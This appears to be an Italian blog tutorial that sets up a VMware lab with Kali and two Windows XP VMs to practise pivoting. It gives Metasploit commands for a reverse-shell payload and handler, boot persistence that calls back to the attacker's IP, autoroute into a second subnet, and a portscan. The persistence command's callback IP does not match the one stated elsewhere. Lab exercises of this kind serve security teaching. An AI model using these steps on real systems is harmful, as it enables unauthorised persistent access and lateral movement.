Pivoting parte 1

Aggiungere una seconda subnet

Nell’esercizio di oggi vedremo come preparare un ambiente di macchine virtuali per eseguire un exploit di tipo Pivoting.

Per pivoting si intende un exploit che permette tramite una macchina compromessa esposta agli attacchi di raggiungere ed exploitare una seconda macchina che non comunica con l’esterno.

Per l’esercizio utilizzeremo come macchina host una installazione di Kali e come macchine target due VM con installato Windows XP.

Configurare VMware e le macchine virtuali

Come prima cosa dobbiamo configurare Vmware cosi’ che possa gestire due differenti network adapter.

Per fare questo andiamo su “Edit – Virtual Network Editor” selezioniamo “Add Network” ed aggiungiamo una rete di tipo “Host-only”.

Image

A questo punto ci dovremmo trovare con due reti Host-only” ovvero WMNet1 e WMNet2.

Impostiamo ora la macchina host sulla VMNet1, la prima macchina target XP su WMNet1 e su WMNet2 e la seconda macchina XP su WMNet2.

Per aggiungere una interfaccia di rete alla prima macchina XP sarà sufficiente spegnere la macchina virtuale, andare su “VM-Settings” cliccare su Add e poi selezionare Network Adapter; cliccare ancora su Next ed infine selezionare Custom e specificare VMNet2.

Image

Ricetta d’uso

Eseguire l’esercizio richiede la messa in opera di tre macchine virtuali in contemporanea e di conseguenza richiede un minimo di risorse a disposizione; vediamo le richieste per ogni singola macchina virtuale e quali tool o applicazioni andremo ad utilizzare:

Macchina Host

VM – Kali

CPU – 2 core

Memoria – 4 Gb

Hd – 30 Gb

Macchina Target 1

VM – Windows XP sp3 Italiano

CPU – 1 core

Memoria – 512 Mb

Hd – 20 Gb

Macchina Target 2

VM – Windows XP

CPU – 1 core

Memoria – 512 Mb

Hd – 20 Gb

In aggiunta alle risorse sopra indicate bisogna ricordarsi di considerare anche le risorse della macchina su cui sono installate le macchine virtuali. Per prestazioni ottimali e’ quindi consigliata una macchina con CPU da 6 core, 8 Gb di memoria ram e 70 Gb di spazio libero su disco.

Exploitare la prima VM

Per exploitare la prima macchina creiamo con “msfpayload” un payload stand alone di tipo “windows/shell/reverse_tcp_allports” e lo salviamo in “/var/www” cosi’ da poterlo scaricare attraverso un browser web sulla macchina Target 1.

Avendo trattato l’argomento in un altro articolo se volete maggiori informazioni potete andare direttamente all’url: “http://greyhathacking.wordpress.com/2013/04/09/exploit-utilizzare-metasploit-per-embeddare-un-payload-in-un-eseguibile/#more-263”.

Vediamo ora come creare una sessione persistente utilizzando Meterpreter; per fare questo eseguiamo i seguenti comandi:

msfconsole

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp_allports

set LHOST 192.168.46.133

set LPORT 31337

exploit

Lanciamo a questo punto il payload sulla macchina XP ed otteniamo una sessione con Meterpreter.

Preoccupiamoci ora di rendere permanente la sessione exploitata cosi’ che si abbia la possibilità di accedere alla macchina target anche in caso di riavvio della stessa.

Eseguiamo il comando “run persistence -h” per vedere le opzioni disponibili; nel nostro caso per rendere permanente la sessione dovremo digitare:

run persistence -A -L C:\\windows\\system32\\ -X -i 5 -p 31337 -r 192.168.46.137

Alla esecuzione del comando viene avviata automaticamente una sessione multi/handler in metasploit, ed il payload viene uplodato in “C:\windows\system32\” (e’ necessario usare il doppio \\).

Il payload viene eseguito automaticamente all’avvio della macchina Target1 (X), con tentativi di connessione ogni 5 secondi (-i 5) e viene aperta una connessione verso la macchina remota che risponde all’ip 192.168.46.133 ed alla porta 31337.

Image

Noteremo che dopo qualche tempo viene aperta una nuova sessione in Meterpreter, segno che il payload e’ stato correttamente uplodato ed eseguito.

A questo punto, per verificare il funzionamento del tutto riavviamo la macchina XP e notiamo immediatamente che la sessione di meterpreter viene chiusa.

Attendiamo il riavvio della macchina e vedremo la sessione sia ristabilita; avendo utilizzato il parametro “-A” non sarà necessario eseguire manualmente una sessione multi/handler.

Image

Qualora volessimo rimuovere il payload utilizziamo da Meterpreter il comando resource tramite il quale otteniamo il nome del payload uplodato sulla macchina target. Ottenuto il nome apriamo nuovamente la sessione con la macchina target (sessions -i e poi sessions -i #IDsessione) e digitiamo rm seguito dal path e seguito dal nome file ottenuto tramite il comando resource (es. rm c:\\windows\\system32\\JjBeTAkZBcpeZ.vbs). Al riavvio non ci sarà più traccia del payload.

Image

Abilitare il routing

Come prima cosa una volta ottenuta la sessione di Meterpreter eseguiamo il comando ipconfig in modo da vedere quali interfacce sono disponibili sulla macchina Target1: noteremo subito due differenti subnet:

1. 192.168.46.0/24

2. 192.168.152.0/24

Image

Sempre da Meterpreter utilizziamo il comando autoroute per creare un routing verso la seconda subnet nello specifico:

run autoroute -s 192.168.152.0/24

Verifichiamo che la seconda subnet sia stata aggiunta con:

run autoroute -p

Image

A questo punto abbiamo un routing aperto verso la seconda subnet; possiamo quindi effettuare una scansione per scoprire a quali nuove macchine abbiamo accesso.

Per fare questo utilizziamo il modulo ausiliario portscan; il comando e’ il seguente:

use auxiliary/scanner/portscan/tcp

Con show options vediamo quali sono i parametri da utilizzare.

Decidiamo di effettuare una scansione dell’intera subnet per le porte da 1 a 1000 e quindi:

set RHOSTS 192.168.152.0/24

set PORTS 1-1000

ed infine diamo

run

Vedremo quindi la lista di ip e porte delle macchine sulla subnet 192.168.152.0/24.

Image

Leave a Reply

Your email address will not be published. Required fields are marked *